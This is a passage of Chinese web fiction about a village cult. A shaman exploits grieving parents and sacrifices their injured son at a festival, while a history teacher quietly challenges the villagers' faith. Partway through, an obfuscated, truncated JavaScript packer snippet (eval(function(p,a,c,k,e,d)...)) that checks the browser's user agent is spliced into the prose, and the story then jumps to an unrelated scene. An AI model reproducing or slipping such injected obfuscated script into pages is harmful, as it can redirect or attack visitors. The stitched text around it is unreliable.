李得彩不再言语,他把那支古巴烟斗揣在怀里就要出门,又对万金花抛下一句:“麻子那儿太贵,找他麻烦,你有空看看毛蛋去。” 万金花太清楚李得彩的想法了,她的这个男人从年轻时就是铁公鸡的代名词,只是连她也没有想到,李得彩到了现在的年纪居然在购买祭品的时候也吝啬了起来。 万金花站在家门口对李得彩进行了长达十分钟的咒骂,每一个路过她家门口的人都听见了那些不堪入耳的声音。但位列仙班的诱惑还是太大,在几分钟后就将她引向了小毛蛋的家中,在那个快要哭瞎眼睛的女人面前。 “天师在上,我们家是做了什么事惹得天师不高兴了,我们马上赔罪去,放过毛蛋吧!”万金花一进门,小毛蛋他爹娘就跪在地上求她。 “我说了,天师没有动怒,不然碧云天是怎么来的呢?”万金花首先纠正了女人言语上的错误,随后拨开跪在地上的男女,见了小毛蛋的脸就直皱眉,“呀,怎么搞成这个样子了。”且不说万金花是不是真的关心小毛蛋的伤势,但那张血肉模糊的脸的确把她吓了一跳。 “婆子,到底是怎么回事儿啊,他怎么就往火盆里扑呢啊?!”毛蛋他妈呜呜地擦起眼泪来,万金花坐在床沿上装模作样地掐指算道:“作孽啊!” “婆子,怎么说啊?” “小毛蛋,那天晚上他也跟着小白菜捡地上的钱来着,是不是?” 毛蛋他妈忙说道:“是是是!” 万金花一跺脚,“糊涂了!小白菜是我向天师特求来的地童子,他捡硬币是替天师聚福,你小毛蛋无名之辈,捡了硬币是受不住这福气的哟!” “啊?婆子,婆子,我们小毛蛋什么也不懂,他就是看着好玩才捡的……” 万金花脸色一转,将毛蛋他妈扶起来,握着她的手安慰道:“我没说是小毛蛋的错,天师仁慈,不知者不降罪,小毛蛋这啊,是遭小鬼呢!” “小鬼?怎么会有小鬼?” 万金花压低了声音,“捡钱的不是小毛蛋,是小鬼呢,小鬼附上了毛蛋的身,要抢走咱们分给天师的福,天师慧眼识真身,这小鬼最怕火,所以用火给小毛蛋驱鬼呢!” 毛蛋他妈听了吓得捂住心口,毛蛋他爸这时候终于开口道:“那现在怎么说啊?” “现在啊,诶哟我得再看看。”万金花抓着小毛蛋的胳膊翻来覆去地看,麻绳在他手腕上都勒出了印子,万金花就指着印子道:“我看呐,这小鬼还在孩子身上呢!” “天师都驱不走?” “呸呸呸,天师早就制服这小鬼了,只不过小孩子身体弱,叫那小鬼占了便宜,留了个皮囊在小毛蛋身上呢,要是不除了,小鬼皮囊就把小毛蛋的皮囊给换了,以后这孩子就是披着人皮的鬼了!” 这下毛蛋的爹妈全都倒吸了一口凉气,二人立马跪下求她:“婆子,你得帮帮我们啊!” “我这不就是来帮你们的吗?”她的衣服内袋里飞出一张黄纸,小白菜忽然从门口跳进来,呈上一根点燃的香。万金花用这香在黄纸上烧出一个小洞,这小洞并不扩大,而是在黄纸上如一支笔游龙走蛇般地画了一个圆出来,万金花摸出一枚硬币,正正好好能放进黄纸上的窟窿。 “看!它就是借着钱币作祟呢!” “那婆子,有什么法儿能把它除了呀!” “要想除它,就要抓着根源,钱币就是根源,你们快点把家里的钱币全都拿出去埋咯,小鬼皮囊跟着钱币也就离了小毛蛋的身,再等我做一场法事擒住它,你们去看埋在地里的钱币不见了,小毛蛋就好咯!” “好!好!好!” 他的爹妈毫不迟疑地信了。白了头发的女人和枯树干一样的男人在家里翻箱倒柜,从旧木箱和床板底下找出来不知道何时藏好的钞票,还有女人耳朵上的银耳环,那还是她嫁人的时候打的。他们找出来的东西实在不多,又怕起不到应有的效果,就把还算新的衣服鞋子也全都移出了家门。直到这里只剩下四面白墙和一个红彤彤的孩子。 那时候李春生与金铃儿和银铃儿在午间的田埂上相遇,他的脸色比起寻灵当晚已经好了很多。万金花的这对双胞胎女儿信守承诺,在李春生面前闭口不谈当日的事。直到李春生问她们:“你们昨晚睡得好吗?” 这两个机敏的姑娘才确定了这是可以谈论的信号,金铃儿告诉李春生:“没怎么睡,我们想了很多事,春生老师要听吗?” “好啊。” 他们一起朝着毛蛋家的方向走去,银铃儿每走几步就要转过头来看看李春生有没有跟上,田埂上还有许多没收拾完的秸秆,金铃儿在行经一个大草堆的阴影时开口问他:春生老师,小毛蛋为什么会掉进火盆里? “你们觉得呢?” “春生老师……”金铃儿压低了声音,好像对自己的回答感到害怕和不确定,她又开始颤抖起来了,“我看见是小白菜……” “小白菜指着火盆,毛蛋就掉进去了!”银铃儿立马补充道:“我早说了那小子不完全是个傻子,他坏着呢!” “可是你们的弟弟与小毛蛋有什么仇怨?要这样害他?” “没有仇怨呀,但他是个坏种,做坏事是不讲道理的。” 银铃儿的“坏种”结论很可能是日常相处中得出的真理,对此李春生并没有发表意见,他顺着银铃儿的话说下去:“你的意思是小白菜是天生的恶人?” 银铃儿摇摇头,表示自己并不是性恶论的支持者,“春生老师你说了,人的善恶好坏是在环境中培养起来的,他不是天生坏种,却是被养成了一个坏种。” “他是被人带坏的?”金铃儿问。 “他是被我们妈带坏的!” “那是谁带坏了妈?”金铃儿抛出这样一个问题,塞进银铃儿的喉咙里让她哑了火,她想要沿着这个问题去溯源万金花的行为逻辑,转过头向自己的历史老师寻求帮助。 李春生没有立即回应银铃儿的疑问,他将这个问题放在了更长远的尺度上,“你们学得很好。要不要试试站得更远些?” “还要更远?” “更远。不管是时间,空间,还是身份,都更远些。一点课外作业,再多想想吧。” 李春生对这两个姑娘的充足信任不是空穴来风,如果说老校长在李春生身上看到中学的一点光,那么李春生眼里的光就来自于金铃儿和银铃儿。 五年前,李春生在他的第一堂课上写下:“人固有一死,或重于泰山,或轻于鸿毛,用之所趋异也。”底下就传来一个学生的提问:“老师,你走错教室了,我们这节是历史课,不是语文!” 这帮学生们哄笑起来,在新老师的课上拆台已经是他们习以为常的事,李春生对此不予理会,他点了后排一个低着头的女孩的名字:“李小枝。” 学生们瞬间安静下来,那个叫做李小枝的女孩成为了所有人目光的中心,她畏畏缩缩地站起来,眼神不断环视着周围同学的神情,“老师……” “嗯,李小枝同学,请你回答一下,这句话的出处是哪里?” 这个女孩子头也没抬就摇了摇头,“老师,我不知道。” “那就将它读一遍吧,小枝,抬起头来。” 李小枝紧张得发抖,知道所有人都在等她就更加胆小,这让她的声音小得需要人打起精神去听,她磕磕巴巴地念着:“人……人固有一死,或……或重于……” 方才率先起哄的那个男孩子开始掩着嘴偷笑,在心里盘算着捉弄人的诡计,李春生的眼神一瞥就定格在他的身上,他并不像中学的其他几位老师一样开始严肃的训斥,他的脸上带着平和的微笑,那个被注视者却莫名地感受到李春生身上不容撼动的权威,他像一条刚被呵斥的家犬一样收回了不怀好意的眼神。 李小枝读完了,她正想坐下的时候李春生问她:“小枝,你能看得清黑板吗?” “老师……我能看见一点。” 李春生指着第二排的一个位置说道:“你们两个的座位应该换一下,现在。” “现在?” “现在。” 这个新来的历史教师花了十分钟的时间来做这件事已经让起初调笑的念头转为千头万绪的猜测,我曾提醒他在明月庄与众不同也时常会带来危险,李春生对此只报以淡淡的微笑。 他从上衣口袋里掏出一颗陈皮糖来嘉奖李小枝,“你念得很好,小枝。” 那女孩对这奖励受宠若惊,她再次环顾了周围才战战兢兢地收下它,李春生说他确实看到了李小枝的嘴角挂上片刻的微笑,很快就藏在了她粗糙的皮肤下看不见了。而那个男孩子的眼神里现在充满了羡慕,他在自己的座位上抻长了脖子去观赏李小枝手里的展览品。 “那么现在……”李春生将众人的目光牵回到他的身上,“有谁知道这句话的出处吗?” “老师!”那个男生举起了手,“我知道,是《史记》!是司马迁!” 他平等地得到了奖励,李春生用两颗陈皮糖的成本得到了一群积极又听话的学生,他的课堂终于切入了正题: 死亡。 “在历史的尺度上,个体的消亡微不足道,但我们后来的人站在这个尺度上去回望历史,就能发现恰恰是这些渺小的个体带领我们见证了重要的历史节点。所以,一个人的死亡是轻是重,与他的处境息息相关。翻到你们课本的第五页,妇好墓当中的这几具殉人骨骼,他们生前可能也只是小人物,他们的死在当时轻于鸿毛,但在四千多年后的今天,却为坐在教室里的你们揭开了商代奴隶制社会面貌的一角,就像你们在过年的时候,听到的第一声鞭炮。” 我曾问过李春生为什么要教历史而不是别的科目,他靠着门框望向远处耸立的高塔说,“阅读历史不用关心明天。” 他大概把自己看的比羽毛还要轻,还要小,我并不希望他这么想,但我笨嘴拙舌,想不出什么好话来安慰他,只是炒了点栗子让他带回去吃。他还说我像在哄小孩,我说我哄的明明是他。 那堂课上的内容并不算多,但李春生讲的很仔细,“在那个年代,人们相信生活中的一切都需要听从‘上天’的旨意,遵从占卜给出的吉凶结果行事。我们从现在的甲骨文资料当中已经可以得知,商王会询问负责占卜的贞人,某日是否适合征战,某日是否适合封赏。到了更加重要的日子,人们就会举行大型祭祀,献上更多的祭品,向天发问,寻求指引。” 下面的一个学生说道:“就像我们祭拜吉祥天师一样!” 李春生写板书的手顿了顿,“不太一样哦。” “哪里不一样?” “这里,历史上商朝的占卜所问的‘天’,更加类似祖先,而不是一个完全高于凡人的神明。吉祥天师他,却不是我们的祖先。”李春生看了看时间,放下了手里的书,“另外,商朝占卜的目的是询问事件的走向,协调日后的行动,做好准备或防御工作。” “那吉祥天师比天还厉害呢!他给我们赐福!我们是他的血脉,以后都要一起成仙的。” 李春生的课堂被打断了,他听着学生们的议论并不感到多惊讶。生长在明月庄的人很难不受到信仰的感染,他也没有急着把话题掰回到课本上,“看来你们都非常熟悉吉祥天师。” “熟悉啊,难道老师你不熟悉?” “我当然熟悉,我要看看,你们是真熟悉还是假熟悉。” 那个孩子颇有自信地喊道:“当然是真的!吉祥天师的故事我倒背如流!” “倒背就不必了,请这位同学给我们讲讲吧。” 这个孩子当然是愿意的,他从座位上站起来,挺胸抬头,腔调做得足足的,将一个说书人的模样模仿的惟妙惟肖。孩子口中的故事与万金花在季有兰面前所说的那些一模一样,已经是李春生耳朵里听烂了的东西。 那个孩子在一片欢呼和掌声中坐下,李春生却告诉他:“你没有讲完。” “我讲完了。” “你讲的这些是谁告诉你的?” “是万婆子,万婆子给我们讲故事的时候都会说这个,我们都听过的,我没骗你。” 李春生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此后两年间,书生于此地流连,遍访山川,也与当地百姓同吃同住,知晓了诸多此前从未了解之事,有民生疾苦,亦有节庆乐事,顿觉往日所写文章,文采有余却过于飘飘然,如头顶浮云见之叹之,而不降甘霖至旱地,那梦中男子所言非虚。 又一年科举之时,书生洋洋洒洒一篇文章,鞭辟入里,针砭时弊,与早前较之已然脱胎换骨。待到放榜时,他果真金榜题名。 学生们听完仍抬头看着李春生,好像没有意识到这个故事已经结束,其中几个回过神来,“吉祥天师好厉害。” “为什么这么说?”李春生问道。 “吉祥天师点化了李哲,没有吉祥天师就没有我们明月庄了,不是吗?” 李春生说:“不对,同学们。” “哪里不对?” “根据这段记载,如果李哲在梦中见到的人形真的是吉祥天师显灵,你们也应该注意到那句学已有所成,谁来说说学有所成的意思是什么?” 一个坐在第一排的姑娘举起了手,“意思是学习已经取得了一定的成果。” “对呀,这是李哲能够取得功名的前提,他不是一个不学无术空喊口号的人,他有真才实学,只是被限制在了书页上,而这是他自己读书得来的成果,并没有吉祥天师直接参与。他要是光靠着天师的点化就碌碌终日,难道功名会掉到他的脑袋上吗?更何况他求的,并不是金榜题名,而是指点迷津。他要的是方法,而不是结果,结果是他自己挣来的。” 学生们都对李春生的话保持质疑似的沉默,我曾指责他过于大胆,在自己职业生涯的第一堂课上就靠近明月庄信仰底线的边缘,这很有可能让他过早地成为众矢之的。 李春生接着说:“所以我认为,归根结底是李哲自己做出了正确的选择,付出了足够的努力,才得以梦想成真。至于吉祥天师……”他没有对学生们直接否定这位神明的存在,“他指引了李哲,就好像竖起一块路牌,走哪条路,要不要走下去,就是李哲自己的决定。他游历四方靠的是自己的双脚,他的文章也不是吉祥天师帮他写的,这是属于李哲的成功,属于人的成功。” “可他给天师修了庙!明月庄就是这样好起来的!” 的确,当年李哲衣锦还乡,创作了八首赞颂吉祥天师圣名的歌谣,并组织当地的父老乡亲修建起一东一西两座天师庙。吉祥天师的大名从此在明月庄落地生根。明月庄的繁荣也由此开启,这是李春生和我都无法反驳的事实。 忽然,下课的铃声将教室里的空气撞碎,我认为这在一定程度上保护了李春生,避免课堂的内容滑向不可挽回的深渊,质疑吉祥天师的功劳在明月庄是绝对危险的话题。 那些学生们在课后的谈笑间就把李春生的大多数话都抛在脑后。只有中学那位瘸了一条腿的老校长在李春生身上看到了朝阳般的热忱,她在教室的后窗户外面隔着玻璃凝视着李春生的眼睛,好像在明月庄看到久违的太阳。 那以后吉祥天师与李哲的完整渊源成了李春生课上必要提及的一部分,学生们听完的反馈不多,但李春生仍然一遍一遍地去讲,事实证明李春生和老校长的期盼并不是竹篮打水,两年后他终于听到了那个等待许久的问题: “老师,所以吉祥天师是引路人,而不是许愿池,对吗?” 李春生转过头去,看到的是一张圆润饱满的脸,以及坐在前一排与她长相几乎一样的姐姐。 “很好的比喻,银铃儿。”李春生赞扬道。 质疑的种子在那时就已经埋下,这对双胞胎由此开始思考祭祀与信仰的真正含义,李春生告诉她们:“金铃儿,银铃儿,我们信神拜神,是为自己的行为赋予意义,这没有错。但无论信什么,都别忘了人。如果信仰要以残害生命的方式来实现,那么它注定要被摒弃。神明亦是人的造物,他们为了人在普世的幸福而存在,不要背道而驰。” 原来从那时起他就是个冒险的赌徒。 金铃儿问:“春生老师,小毛蛋会死吗?” 李春生只能告诉她:“老师不是医生,老师只能希望他逢凶化吉,早日康复。” “那你呢,春生老师?你好点儿了吗?” “我?慧慧姐不是说了吗?我长命百岁。” 等到万金花再次前去小毛蛋家里时,这个孩子正躺在床上艰难地抽搐着,他的爹妈整日在家中供奉的吉祥天师神像前跪拜,嘴里念叨着天师保佑的话。 是个人都能看出来毛蛋的情况更差了,连神婆子也忍不住叹气,她转而改换了神情凑到毛蛋妈身边耳语:“毛蛋他妈呀,这小鬼心太狠,他是非要拉上毛蛋一块儿走哇!” 毛蛋妈听了脸上的每一条肌肉都在跳动,“婆子!婆子!你帮帮我们!你去求求天师!帮帮我们啊!” 万金花作势先扶住了这个激动的女人,“你慢慢听我说啊,恐怕毛蛋福薄,是留不下来了!” 头发花白的女人登时张大了嘴发出一声断断续续的“啊——”,就仰头往后一栽晕死了过去。 “诶哟!我还有话没说完呢!”万金花的眉眼都挤在一起,两手直拍大腿,“毛蛋爸呀!你要是还行就听我说!” “说……你说。”枯树干一半的男人站在那里,两片嘴唇也阿巴阿巴地翕动着。 “毛蛋是留不住了,天师他老人家本不能干涉生死的事儿,但看他实在可怜于心不忍,便托梦于我说了,格外开恩可以收毛蛋过去呢!” “收毛蛋过去?毛蛋,去做天师的童子吗?” “啊……对呀,毛蛋,去做天师的童子!你高不高兴?” 他太高兴了,以至于没等万金花把最后一个字落下就跪在地上磕头感念天师圣恩。 “他爹呀,我还怕你不肯呢。” “有什么不肯?” “天师说了,小毛蛋可以去做天师的童子,但要做祭神的药引子,你肯不肯?”万金花一边说着一边撸起袖子露出自己的臂膀,跪在地上的男人看到她的胳膊上赫然有着九条红肿的道道,这九条红肿的痕迹分明组成了一个“药”字。他伸出颤抖不止的手想要摸一摸,却被万金花一下打回,“摸什么?你就说,肯不肯?” “肯,有什么不肯的?” “那她肯不肯?”万金花指了指晕倒在地的女人。 “有什么不肯的!” ? 8. 开蒙日 正月初六的那天晚上,我们在我的住处小聚,这也是我们保持了多年的习惯。寻灵之前的每一次我都没有赋予它除了聚会闲谈以外更特殊的意义,寻灵之后我才开始将它视为临别前的饯行,它就像一个不透明的酒坛子,每次取出就离结束更近一些,但谁也不知道这样的夜晚还剩多少次,直到某个忽然的时刻它倾尽了最后一滴,为相聚画上句号。 李春生和慧慧都还没有来,我将一把鲜亮的雪菜都细细地切碎,配好竹林里正当时节的冬笋,用宽面菜刀切成片,加鸡油在锅里炒了。算算时间,出锅的时候最先准备的一碗粉蒸肉也到了刚刚好的火候。就由着热气让它锅里继续闷一会儿,这样味道更好些。 李春生打开门的时候也带进来半屋子的寒气,他裹在冬季厚实的大衣里搓手哈气,我确定他的脸是被明月庄的冬天冻得发红,我让他靠着灶火坐下暖暖身子,继续从柜子里甩出一包紫菜饼和一袋小虾米在热水里一转,一只手抓两个鸡蛋打了,再撒进一撮盐去,最后这道汤就做好了,继续守在锅前等着粉蒸肉。 李春生问我:“你那瓶酒放哪儿了?”他是很少喝酒的,就是喝了也只是浅尝一杯,我扬扬下巴点向一个堆满了瓶瓶罐罐的角落,“那儿呢。” “怎么放这儿了,哪天给踹倒了不是浪费好酒吗?”他捧出那瓶用红布包好的酒时像是捧着一颗名贵的珍珠。这是旧年的“梅上雪”,我在镇上一间偏僻的酒铺子里淘换来的。除了烟酒,我已经对绝大多数的食物饮品都没了兴趣,看人也是一样。 李春生对这酒赞不绝口,据他所说,这酒入口甘甜清冽,连鼻腔里也充盈着一股红梅的清香,落了肚也不会烧得慌,而是雾一般缓缓积聚起来,从胃到心再到全身,都悠悠然浸润在暖意里了。 李春生自己斟了一杯下肚,便踱步过来指着我的窗户说:“装一个帘子吧。” “为什么?” “你的窗户对着竹林,有了帘子等到晴天就能看到一窗竹影。” 我对设计美学上的神经同样不太敏感,只是觉得他说得挺对。李春生接着说:“你这屋子其实很好。苏轼曾说,宁可食无肉,不可居无竹。” 只是我原本就是个俗人,竹林对我来说的全部意义都在于春冬两季的新鲜竹笋,而那位宋朝文人所说的高雅含义在李春生身上很合适,与我倒是无缘。 “嗯。”我也不想扫了他的兴致,便点点头应下。 “不过你的窗沿最好修一修,有些坏了……” “卤牛肉!”慧慧轰地推门进来,将手里拎着的东西高高举起,外头的寒风也和她一样横冲直撞进来闹了满屋,“配酒吃最好了!李月来,快点把你的梅上雪拿出来满上!” 慧慧将属于她的那杯酒饮下,灶头上备好的菜也到了可以上桌的时候,李春生再次提醒我们明天是什么日子。 慧慧手撑着头说,“我当然记得明天是什么日子,李春生,我依然是之前的态度,希望你给自己留了后路。” 他来回把玩手里的酒杯,说:“怎么会呢,中学里还有这么多事要忙,正月初七才不是结束呢。” 他说的不错,中学里还有金铃儿、银铃儿、李小潭这样的学生,以我对他的了解,李春生不可能放弃她们而去。他在中学徘徊的这五年正是为了她们。他本可以在更早的时候轰轰烈烈地闹一场,趁早结束掉明月庄乱哄哄的历史,我也是这么建议他的。因为在我的经验里,长痛不如短痛。但他执拗地说:“再等等吧,万一呢?” 他等对了,中学里头有不少人让他看到过未来的一点希望,产生过一点留恋。但等待不可能是无穷无尽的,否则对他来说就是另一个深渊。终于,李春生决定从这一届开始斩断与明月庄的联系,金铃儿她们将成为他最后的学生。 慧慧问他:“你打算让明天发生什么?” 没人知道他想做什么,我跟了一句:“随你。” 慧慧说:“李月来,你说话还不如不说。” 李春生给我们三个的酒杯都斟满了酒,“我要和小白菜聊两句。你们也露个面吧。” “只是露个面?别的呢?” “别的一切照常,该做什么就做什么。” 梅上雪的清香在我们的鼻尖萦绕,我听见清溪河流水拍岸,窗外的竹林摇曳发出习以为常的声响,慧慧与我们碰了碰杯,“祝你好运。” 正月初七的明月庄早早就醒了,清晨的雾还没有散去,路上就挤满了人。这些人都要往天师登临塔的方向去。 李得彩从初一那天就在高塔最顶层待了整整七天,他要赶在初七典仪正式开始这天完成吉祥天师的塑像。这门手艺李得彩家里世代相传,是明月庄唯一的妙手师傅,他伏在塔顶每天都要想起自己那个不会说话的小儿子,为自家这门传男不传女的手艺将要失传而感到怅然若失。可一想到是自己在保胎仙娘娘那里求来的后果,李得彩又闭口不言。 塑天师像的程序繁琐,用到的东西也讲究。第一天从明月庄西北边的山上取来向阳坡老松树下的土,垫着红布头装在竹篮子里吊到李得彩所在的最顶层。 第二天顶上的莲花座上就立起一个人形,李得彩用两只大手“啪啪啪”就把身形,头颅,肩膀都拍了出来,再用十根灵巧的手指头把天师的五官、耳朵、手指,衣袂都捏了出来。 第三天人们抬头看去,天师身上的衣袂都已经有了纹理。 第四天庄里十八个女人一起做出来一条绣着祥云花纹的红布也装在竹篮子里吊了上去,整齐叠在天师的脚边。 第五天李得彩开始给天师塑像上色,最费时的便是头上那顶金冠。他用家里祖传的配方调出了一桶闪闪的金漆,风吹不掉,雨淋不掉,晴朗的天气太阳一照,二百米开外也能看见天师头顶的金光。 第六天李得彩给塑像做最后细节上的修缮,明月庄的人们抬头往上看去,就能瞥见吉祥天师丰神俊朗的身姿。 第七天,最后一天,万事俱备,只有天师的一双眼睛尚未点上。随着清晨初升的旭日将光芒披在天师身上,李得彩落下最后的两笔,并将那匹红布盖在塑像上面。 这是需要仰头才能观摩的过程,而低下头,则是明月庄的道路上搭起红色的临时棚棚,明月庄里红白喜事要摆酒席的时候,这种红色的棚棚就会应声出现。到了吉祥天师驾临明月庄的日子,它们更加要担起重任,沿着与清溪河一般长的道路开辟出长街宴席来。 几个厨子聚在一起,把几十口大锅烧热,备齐几百个蒸笼,几十个伙计和几十个热情的村民洗菜择菜分装冷盘,偷吃的要挨打,不要的内脏扔去喂狗,还有几十个手脚麻利的小孩爬到树上给每一根树杈拴上红色的绸带。这一天明月庄要消耗数不清的牛羊鸡鸭猪,也成了屠户李有福一笔重要的生活来源,也是他三十二年前能有底气收养我的原因。 现在李有福正在远离人群的地方处理猪肉,他一刀剜出猪肝一刀剜出猪心,再三刀取出其他内脏装在大碗里,再像切豆腐似的将这扇猪肉分出排骨里脊后腿等等,任何人看了都觉得这猪在李有福的刀下算是死得其所。看到我在旁边经过,他在皮围裙上一抹手就跑过来,“诶!诶!” 一看便知道他要我帮忙把卸好的猪肉送到厨子们那边去,这不难,来回一趟不过几分钟。我拨开厨子们制造的蒸汽,看到一张竹担架进了小毛蛋的家门。这标志着我很快就要面对职责中最不想面对的一部分。 回去的时候李有福的工作正从猪转移到羊的身上,我编了一个借口让他暂时不要找我,这个满手沾血的男人也从不怀疑我的话,“嗯!嗯!”地点了头就继续去处理肥羊了。 四个男人将竹担架扛在肩上往天师登临塔的方向走去,这样的情景我和李春生见过上百次了,牛羊的头整齐摆放在塔前,一只刮干净毛的整猪放在供桌上,还有一碗鸡血,一碗猪血,一碗羊血。 担架上当然是可怜的小毛蛋,他现在说不出话,也动弹不得,肚子仍在微微起伏。他花白了头发的母亲和枯树一样的父亲跟在担架后面,身上绑着夺目的大红花,他们的眼中闪烁着希望的光辉。 金铃儿和银铃儿一起站在自家的院子里观看这场仪式,她们的手紧紧握在一起。而李小潭扶着季有兰正在忙碌的人群中寻找一个可以坐下休息的地方,被她们称为父亲和丈夫的男人李池哈着腰围在万金花的附近。 万金花穿金戴银,在天师登临塔的最高层再次与小毛蛋见面。他身上的衣服换了一套新的,脸上盖着红布,两只小手也通红。万金花不去看他,只例行祭典上的仪式。登临塔上响起的声音如同锣鼓咚咚,有几个大一点儿的孩子在人群中穿梭唱道:“碧云天,黄叶地,天师与我来相庆。玉为床,金作米,红鸾花开吉兆来。登临塔上九重纱,牛羊麦谷比天高。心诚万事皆可成,身外之物都要抛。天师圣言已明了,神婆传音你听好。” 歌谣唱罢,万金花抱起这个轻飘飘的孩子,站在塔顶上高喊:“听好嘞!” 脸盖红布的孩子从九层高的塔顶坠下,口中喷出的血就代替了红布的作用,前排的人看到他的腿蹬了两下,就没了动静。 “鹤过群山,大吉!”万金花指着地上的血迹宣布道。 这个红彤彤的孩子脸上被涂上了石灰,现在和着鲜血变得红一块白一块,抹在眼睛处的石灰涂得最厚,他即便意识清醒也完全无法睁开眼睛,他的小手被凝固的脓水包裹,他的嘴巴微微张开,石灰粉也从那里面流出。 毛蛋那个戴着大红花的母亲颤巍巍地走过来,像拥抱刚在襁褓中的婴儿一样再次拥抱自己没有了呼吸的孩子。 “毛蛋啊毛蛋,你现在也去天师那里享福了。你以前说,长大了也要帮忙在拜神大会上搬东西献给天师,但是你现在不能了呀,妈就给你讲讲他们是怎么搬过去的吧,你好好听啊。” 她说的话是没法传到毛蛋耳朵里了,是我在河边的浓雾里拉着他的手,复述了母亲的话: 毛蛋,天师登临塔有九层,祭神的时候每一层都要放上贡品,来迎天师大驾光临明月庄。庄里的人现在就正往上放贡品呢。 毛蛋,这两个人捧着的是七匹绸缎,放到第一层,这三个人抬着的是三筐稻谷,放到第二层,又过去了五个人端着的是五罐猪油,放到第三层,这四个过去的抬着的是两缸大豆,放到第四层。 毛蛋,现在过去的九个人捧着的是九坛好酒,放到第五层,这十二个人抬着的是一头猪一头牛和一只羊,放到第六层,这六个人抱着的是鲜花,放到第七层。 毛蛋,还有这五个人举着的是五篮新鲜水果,放到第八层,最后这一队人捧着的是挨家挨户收来的香火钱,放到第九层。 这些人一队一队地走,除了拿着贡品的几个,其余人无不双手合十祭拜,还有几个要跪下来呢,这是拜神的规矩,一点儿也不能错的。 毛蛋,祭神是明月庄天大的事儿,天师登临塔上有一尊吉祥天师的塑像,每年都要用新的。这塑像是李得彩塑的,他是庄里唯一会塑像的人。李得彩提前七天就住在天师登临塔上面,用从山羊坡向阳面的土垒起吉祥天师的大概样子,再用他们家祖传的彩绘颜料给塑像上色。 毛蛋,你真该看看李得彩给天师塑的像啊,尤其是吉祥天师头上的那顶金冠,李得彩用的金漆是他们家的秘密配方,涂上以后日晒不掉,雨淋不掉,风一吹更加闪闪发光。他给天师画的服饰纹样也不简单,竟真像见过天师似的。 毛蛋,但是他画的眼睛就不好了,李得彩画出来的神像眼睛常常是不对称的,要么一边高了,要么一边小了,所以小孩不要看天师的眼睛,是怕你们口无遮拦把真话说出来了。 毛蛋,这一天明月庄的人是不干活也不上学的,明月庄的每一棵树上都结满红布与彩灯,每一个屋顶上都被打扫得干干净净,每个人都穿上了新衣裳,你也是。有厨子在广场上支起棚子烧宴席,厨子的几个帮手杀鸡宰羊,端盘洗碗,小孩子在桌上抓糖吃,大人去塔里祭拜,这一天登临塔里的蒲团都要被磨坏的。 头发花白的女人抱着毛蛋叙述的样子安静地如同雕塑,我抬头望了望天,太阳早就升起来了,明月庄却仍旧笼罩在雾里,呈现出一片阴沉的景象。 李有福宰杀干净了手边的牛羊,就蹲在清溪河旁用河水洗干净手,准备等着那边一轮席过去帮忙收盘子。他看见我夹着一支红塔山往这边走就又踉跄着冲过来:“诶!诶!”见了我手上的香烟既想要替我灭掉,又不知道怎样做更合适,一只手竟尴尬地停在半空不动了。他随即把手转到脑门上挠了挠,从他的皮围裙口袋里摸出一个红纸包给我,里面包着不多不少正好十二颗话梅糖。 “哪儿拿来的?” “他们发糖,我拿的,不要钱。”李有福解释道,他大概想到了我不让他乱花钱,还特意说明了这些糖免费,“你们吃。” 李有福说的“你们”指的是他三十多年间陆续捡回来的包括我在内的十二个孩子,他是个有些愚钝又过于有善心的人,当他捡回第八个孩子而让自己的生活更加雪上加霜之后,我就与他说明,抚养孤儿的行为只能建立在他的经济条件能承受的基础上,否则我也没法帮他,但这十二颗话梅糖表明他显然没有听懂我的话,我也就不再跟他多说什么。他大概是觉得我生气了,这之后的确停下了往家里再抱进新的小孩。我不喜欢吃糖,喜欢甜食的老七也很早就夭亡了,李有福从来都记不住,我也没必要刻意提起来让他伤心,只与他点了点头。 “不抽烟,吃糖。” 我把红塔山架在了李有福的耳朵上,他明明自己也是个烟鬼,却锲而不舍地劝我戒烟,到底是没有多少说服力的。 “李有福!李有福!”我还想和他再说些什么,就有人从登临塔那边跑过来喊他,那人身上的白围裙标志着他的身份属于厨师团队,像他这样的人来喊李有福多半是要他去填补空缺的人手。 “李月来,你也来吧,来。” 他们的人手的确面临紧缺,不过我知道李有福按照人数计算好的牛羊猪数量不会有错,必然是有哪个厨子带来的人不齐或人员安排上出了差错导致的。 宴席用的红布棚棚遮挡了一部分的寒风,我在饭菜的热气当中穿行,想要寻找李春生和慧慧的影子,但他们不在这里,这里只有走完了祭拜流程来坐下享用食物的人。万金花的小儿子坐在一个角落里吃糯米团子,他把团子拉得很长,豆沙馅儿沾在嘴角,金铃儿和银铃儿在帮忙烧水。 从棚里望过去能更清楚地看见登临塔那边的情形:万金花穿金着玉在天师登临塔下面担任指挥,李得彩作为唯一的塑像师傅盘腿坐在天师登临塔的顶层,那塑像背后有一道暗门可供他顺着杆子悄无声息地滑到地面。 往高塔上运贡品和祭拜的队伍如同蚂蚁行军,这些人从牙缝里抠出用来祭拜吉祥天师的钢镚儿,并在路上把脑门磕破,踏过毛蛋血肉模糊的身体,给神婆子交上一点儿进门钱,就能在吉祥天师脚下直呼“保佑!”。 一个白围裙催我去帮忙上下一道菜,厨子拿鸡油炒的青菜泛着油光,这道菜的出场表明第一轮宴席已经接近尾声。为了保持李有福的血脂指标,并照顾李春生和慧慧的胃口,我从来不这样做炒青菜,尽管这对于明月庄的人来说是经典佳肴,席上坐着的每个人此时口唇皆泛着油光。 要是尝过这样的一道菜,就知道油乎乎的口感会遮掩其他菜肴的本味。食材碰到舌头,也像是隔了一层塑料膜。现在红色大棚里就满布着这样的塑料膜,不只在人们的口腔里,也在视线和耳朵边。闹哄哄,乱糟糟,但喜气洋洋,明月庄的宴席就是如此的。 是时候过去露面了。 小白菜不在原来的地方了,他不知怎的出现在登临塔前的空地上,正对着顶上宏伟的神像。手里的糯米团子滚到地上沾满了灰,他也不管,坐在那里好像没了魂。 忽然间,小刀似的声音捅破了塑料膜。 “烧起来了!烧起来了!” 这一声遥远又响如敲镲般的呐喊让在场所有人都回过头去寻找来源—— 天师登临塔那边,底下的七匹绸缎燎上了火焰,黑烟迅速升腾起来,人们眨了三下眼,黑烟就盖住了天师登临塔的一半高度。 “烧起来了!” 